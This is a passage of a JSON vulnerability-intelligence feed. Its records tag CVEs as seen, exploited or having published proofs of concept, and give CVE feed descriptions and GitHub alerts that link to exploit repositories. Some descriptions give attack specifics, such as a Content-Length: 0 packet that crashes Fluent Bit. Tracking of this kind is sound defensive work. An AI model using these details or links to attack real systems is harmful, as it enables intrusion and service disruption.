0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-04T18:21:20.000000Z"}, {"uuid": "4f3b8ee6-3c98-41bf-9a1d-73759a80e8f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "published-proof-of-concept", "source": "https://t.me/orderofsixangles/2704", "content": "Kernel-hack-drill and a new approach to exploiting CVE-2024-50264 in the Linux kernel\n\nhttps://swarm.ptsecurity.com/kernel-hack-drill-and-a-new-approach-to-exploiting-cve-2024-50264-in-the-linux-kernel/", "creation_timestamp": "2025-09-03T04:35:51.000000Z"}, {"uuid": "0b3eda3a-73ce-4049-b960-3f06bbfbdf10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50566", "type": "seen", "source": "Telegram/CbBWhvOblIUnGS7x-9cRaOBH2hsn3HzJkgxycYnonwnaT-kp", "content": "", "creation_timestamp": "2025-02-06T02:40:20.000000Z"}, {"uuid": "ea86bdb9-d857-44fe-b950-065bb3e8ae32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50564", "type": "seen", "source": "Telegram/rYdhs5hNRXQkDPmKnNp9doHTxnpDxpECfhMpMzYUW0HV2q04", "content": "", "creation_timestamp": "2025-02-06T02:40:20.000000Z"}, {"uuid": "6d2c03b2-98a4-4952-a38d-ee49348f2a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50067", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "e0dde01c-d101-49f3-9f4c-b3c4401f4ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "cf9f2e97-c76d-4980-90d5-8d743cb70b3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7923", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation\nURL\uff1ahttps://github.com/th3gokul/CVE-2024-5009\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-09T17:17:35.000000Z"}, {"uuid": "9008608a-cc3a-44b9-8058-b5fc5d595e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "published-proof-of-concept", "source": "Telegram/UVHMifNZAdaoC_PDPpgVMFGyVxaemy-c-e78QjGB-LMdrfo", "content": "", "creation_timestamp": "2024-05-28T09:01:26.000000Z"}, {"uuid": "29216119-e59d-4681-849b-29d5e6d11d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50143", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0398/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "065c30d7-c218-488b-8113-27525fd6db37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5084", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7843", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPoC Exploit for CVE-2024-5084\nURL\uff1ahttps://github.com/WOOOOONG/CVE-2024-5084\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-03T04:29:30.000000Z"}, {"uuid": "32236de8-7bec-408e-9e65-17379f4b1a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "Telegram/G1YIpqTouZZ7RGRq-g0EK5R-A4RVmquYDNGd4eb7udpn90Y", "content": "", "creation_timestamp": "2025-06-14T15:00:07.000000Z"}, {"uuid": "a08b8571-aa48-48a6-b7f8-b5fb71fc4b54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50562", "type": "published-proof-of-concept", "source": "Telegram/WbkInEHYY3kOnUccLnofEqQY0zB0xloygQFKulDWXCJgOM4", "content": "", "creation_timestamp": "2025-06-20T15:00:06.000000Z"}, {"uuid": "6e4ac8b9-8ed8-46a1-bfaa-1379842fd209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50562", "type": "published-proof-of-concept", "source": "Telegram/wPxuKkvaeObl7wP7fVpj1j1W_8mLNT5U7Q8iJzLFoolh0zg", "content": "", "creation_timestamp": "2025-06-21T21:00:05.000000Z"}, {"uuid": "4456d2ad-1a64-4cde-8528-c454cf919f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50562", "type": "published-proof-of-concept", "source": "Telegram/ZM2cQm-K8l-aznzH8FyNhTUHmVdHVn_5E7OOFj183ST1qmU", "content": "", "creation_timestamp": "2025-06-20T23:00:09.000000Z"}, {"uuid": "2012335d-bf92-444a-9943-32dda8adf323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50986", "type": "seen", "source": "https://t.me/cvedetector/11082", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50986 - Clementine DLL Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50986 \nPublished : Nov. 15, 2024, 3:15 p.m. | 21\u00a0minutes ago \nDescription : An issue in Clementine v.1.3.1 allows a local attacker to execute arbitrary code via a crafted DLL file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T16:36:42.000000Z"}, {"uuid": "c2d5a70e-ae5b-4840-8220-0a3498f8e9b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50405", "type": "seen", "source": "https://t.me/cvedetector/19852", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50405 - QNAP QTS/QuTS hero CRLF Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50405 \nPublished : March 7, 2025, 5:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : An improper neutralization of CRLF sequences ('CRLF Injection') vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to modify application data.  \n  \nWe have already fixed the vulnerability in the following versions:  \nQTS 5.2.3.3006 build 20250108 and later  \nQuTS hero h5.2.3.3006 build 20250108 and later \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T20:48:07.000000Z"}, {"uuid": "0e6fc885-b80b-4adc-9fbe-c262884f9a85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50390", "type": "seen", "source": "https://t.me/cvedetector/19851", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50390 - QHora Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50390 \nPublished : March 7, 2025, 5:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : A command injection vulnerability has been reported to affect QHora. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.  \n  \nWe have already fixed the vulnerability in the following version:  \nQuRouter 2.4.5.032 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T20:48:06.000000Z"}, {"uuid": "863d3852-0bec-4d21-9110-5ce7d37a9137", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-22)", "content": "", "creation_timestamp": "2026-04-22T00:00:00.000000Z"}, {"uuid": "3c667e95-8518-43da-af1d-44b49ee9a46e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "Telegram/_S6SMlzEsh2Axc-YvNMCNODzE6_tI8N19hgsY0VkvNU", "content": "", "creation_timestamp": "2025-01-14T04:26:37.000000Z"}, {"uuid": "a8dc61e7-65c1-4bf1-abcb-3e09dfaa3908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50394", "type": "seen", "source": "https://t.me/cvedetector/19848", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50394 - Helpdesk SSL Certificate Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50394 \nPublished : March 7, 2025, 5:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : An improper certificate validation vulnerability has been reported to affect Helpdesk. If exploited, the vulnerability could allow remote attackers to compromise the security of the system.  \n  \nWe have already fixed the vulnerability in the following version:  \nHelpdesk 3.3.3 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-07T20:48:04.000000Z"}, {"uuid": "01d882cb-fbfa-4f37-8de2-60f24a943c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9305", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aThis is a exploit for CVE-2024-50498\nURL\uff1ahttps://github.com/p0et08/CVE-2024-50498\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-04T01:33:39.000000Z"}, {"uuid": "0b0f1edd-60b2-46ba-9d61-2910d9678bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5083", "type": "published-proof-of-concept", "source": "Telegram/6epx-3BQxTrkqZ6l5w7-X1UnDFzfHf3_J-HeEcKgNnF31DA", "content": "", "creation_timestamp": "2025-08-27T21:00:04.000000Z"}, {"uuid": "062b167b-8338-450a-bbbf-827eb32c8f34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50944", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9514", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-35176 poc full\nURL\uff1ahttps://github.com/AbdullahAlmutawa/CVE-2024-50944\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-19T23:38:33.000000Z"}, {"uuid": "133ff4b6-4528-4dbf-84de-4b8ac0d63faf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9520", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aApache Tomcat\uff08CVE-2024-50379\uff09\u6761\u4ef6\u7ade\u4e89\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u6279\u91cf\u68c0\u6d4b\u811a\u672c\nURL\uff1ahttps://github.com/iSee857/CVE-2024-50379-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-20T05:27:35.000000Z"}, {"uuid": "a08cfbb7-d1bc-4452-8d2d-fa6ac35f934a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50677", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9321", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aThis repository presents a proof-of-concept of CVE-2024-50677\nURL\uff1ahttps://github.com/ZumiYumi/CVE-2024-50677\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-06T01:09:08.000000Z"}, {"uuid": "bdd8a0e0-fefe-401b-a712-75b5be9ae5a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50861", "type": "seen", "source": "https://t.me/cvedetector/15378", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50861 - \"GestiolP ip_mod_dns_key_form.cgi Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-50861 \nPublished : Jan. 14, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : The ip_mod_dns_key_form.cgi request in GestiolP v3.5.7 is vulnerable to Stored XSS. An attacker can inject malicious code into the \"TSIG Key\" field, which is saved in the database and triggers XSS when viewed, enabling data exfiltration and CSRF attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T00:03:21.000000Z"}, {"uuid": "100c2483-655c-4d53-ab1b-25a9c0b64f16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50859", "type": "seen", "source": "https://t.me/cvedetector/15377", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50859 - GestiolP Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50859 \nPublished : Jan. 14, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : The ip_import_acl_csv request in GestiolP v3.5.7 is vulnerable to Reflected XSS. When a user uploads an improperly formatted file, the content may be reflected in the HTML response, allowing the attacker to execute malicious scripts or exfiltrate data. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T00:03:20.000000Z"}, {"uuid": "67f83755-231d-4187-8652-b882bd466f06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50858", "type": "seen", "source": "https://t.me/cvedetector/15376", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50858 - GestiolP CSRF Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-50858 \nPublished : Jan. 14, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : Multiple endpoints in GestiolP v3.5.7 are vulnerable to Cross-Site Request Forgery (CSRF). An attacker can execute actions via the admin's browser by hosting a malicious URL, leading to data modification, deletion, or exfiltration. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T00:03:19.000000Z"}, {"uuid": "908beacb-0438-4a86-9958-09985d99b689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50857", "type": "seen", "source": "https://t.me/cvedetector/15375", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50857 - GestiolP XSS Attack\", \n  \"Content\": \"CVE ID : CVE-2024-50857 \nPublished : Jan. 14, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : The ip_do_job request in GestiolP v3.5.7 is vulnerable to Cross-Site Scripting (XSS). It allows data exfiltration and enables CSRF attacks. The vulnerability requires specific user permissions within the application to exploit successfully. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T00:03:15.000000Z"}, {"uuid": "a085a78d-14a3-4953-bef4-2a9dd1a01da5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50608", "type": "seen", "source": "https://t.me/cvedetector/18355", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50608 - Fluent Bit Prometheus Remote Write Input Plugin NULL Pointer Dereference Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50608 \nPublished : Feb. 18, 2025, 6:15 p.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : An issue was discovered in Fluent Bit 3.1.9. When the Prometheus Remote Write input plugin is running and listening on an IP address and port, one can send a packet with Content-Length: 0 and it crashes the server. Improper handling of the case when Content-Length is 0 allows a user (with access to the endpoint) to perform a remote Denial of service attack. The crash happens because of a NULL pointer dereference when 0 (from the Content-Length) is passed to the function cfl_sds_len, which in turn tries to cast a NULL pointer into struct cfl_sds. This is related to process_payload_metrics_ng() at prom_rw_prot.c. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-18T20:59:53.000000Z"}, {"uuid": "1a036ad1-8587-4062-a3f9-58791522661e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50609", "type": "seen", "source": "https://t.me/cvedetector/18356", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50609 - Fluent Bit OpenTelemetry Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-50609 \nPublished : Feb. 18, 2025, 6:15 p.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : An issue was discovered in Fluent Bit 3.1.9. When the OpenTelemetry input plugin is running and listening on an IP address and port, one can send a packet with Content-Length: 0 and it crashes the server. Improper handling of the case when Content-Length is 0 allows a user (with access to the endpoint) to perform a remote Denial of service attack. The crash happens because of a NULL pointer dereference when 0 (from the Content-Length) is passed to the function cfl_sds_len, which in turn tries to cast a NULL pointer into struct cfl_sds. This is related to process_payload_traces_proto_ng() at opentelemetry_prot.c. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-18T20:59:53.000000Z"}, {"uuid": "16d83d84-2b2f-4b10-acdb-ccfde0c7f480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50692", "type": "seen", "source": "https://t.me/cvedetector/16354", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50692 - SunGrow WiNet-SV200 MQTT Broker Information Disclosure and Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50692 \nPublished : Jan. 24, 2025, 11:15 p.m. | 1\u00a0hour, 16\u00a0minutes ago \nDescription : SunGrow WiNet-SV200.001.00.P027 and earlier versions contains hardcoded MQTT credentials that allow an attacker to send arbitrary commands to an arbitrary inverter. It is also possible to impersonate the broker, because TLS is not used to identify the real MQTT broker. This means that MQTT communications are vulnerable to MitM attacks at the TCP/IP level. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T02:07:12.000000Z"}, {"uuid": "e94079c1-4cc0-42ec-8f08-ec39e3fa48b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50690", "type": "seen", "source": "https://t.me/cvedetector/16353", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50690 - SunGrow WiNet-SV200 Password Decryption Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-50690 \nPublished : Jan. 24, 2025, 11:15 p.m. | 1\u00a0hour, 16\u00a0minutes ago \nDescription : SunGrow WiNet-SV200.001.00.P027 and earlier versions contains a hardcoded password that can be used to decrypt all firmware updates. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T02:07:08.000000Z"}, {"uuid": "c5ad3f58-1cf7-473e-89ec-dcbab06c9a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50698", "type": "seen", "source": "https://t.me/cvedetector/16352", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50698 - SunGrow WiNet-SV200 Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50698 \nPublished : Jan. 24, 2025, 11:15 p.m. | 1\u00a0hour, 16\u00a0minutes ago \nDescription : SunGrow WiNet-SV200.001.00.P027 and earlier versions is vulnerable to heap-based buffer overflow due to bounds checks of the MQTT message content. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T02:07:08.000000Z"}, {"uuid": "0521480d-44f5-4e3a-a7d7-7301605d16a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50695", "type": "seen", "source": "https://t.me/cvedetector/16351", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50695 - SunGrow WiNet-SV200 Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50695 \nPublished : Jan. 24, 2025, 11:15 p.m. | 1\u00a0hour, 16\u00a0minutes ago \nDescription : SunGrow WiNet-SV200.001.00.P027 and earlier versions is vulnerable to stack-based buffer overflow when parsing MQTT messages, due to missing MQTT topic bounds checks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T02:07:07.000000Z"}, {"uuid": "b49d3fa9-64d5-4fd6-a6c7-beccea0edd76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50697", "type": "seen", "source": "https://t.me/cvedetector/16350", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50697 - SunGrow WiNet-SV200 Buffer Overflow in MQTT Decryption\", \n  \"Content\": \"CVE ID : CVE-2024-50697 \nPublished : Jan. 24, 2025, 11:15 p.m. | 1\u00a0hour, 16\u00a0minutes ago \nDescription : In SunGrow WiNet-SV200.001.00.P027 and earlier versions, when decrypting MQTT messages, the code that parses specific TLV fields does not have sufficient bounds checks. This may result in a stack-based buffer overflow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T02:07:06.000000Z"}, {"uuid": "30d7ea7c-c815-4c0d-81cd-841e9ff39483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5057", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8700", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aLet's try to inject, because it's CVE-2024-5057 \nURL\uff1ahttps://github.com/enter0x13/poc-CVE-2024-5057\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-10-09T00:46:25.000000Z"}, {"uuid": "b6295eb3-dd2b-4f1e-a65f-46404faa1f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7913", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit for CVE-2024-5009\nURL\uff1ahttps://github.com/sinsinology/CVE-2024-5009\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-08T12:21:10.000000Z"}, {"uuid": "ce98e97e-bef1-4f3f-9c3a-102929466526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50694", "type": "seen", "source": "https://t.me/cvedetector/16349", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50694 - SunGrow WiNet-SV200 MQTT Stack-Based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-50694 \nPublished : Jan. 24, 2025, 11:15 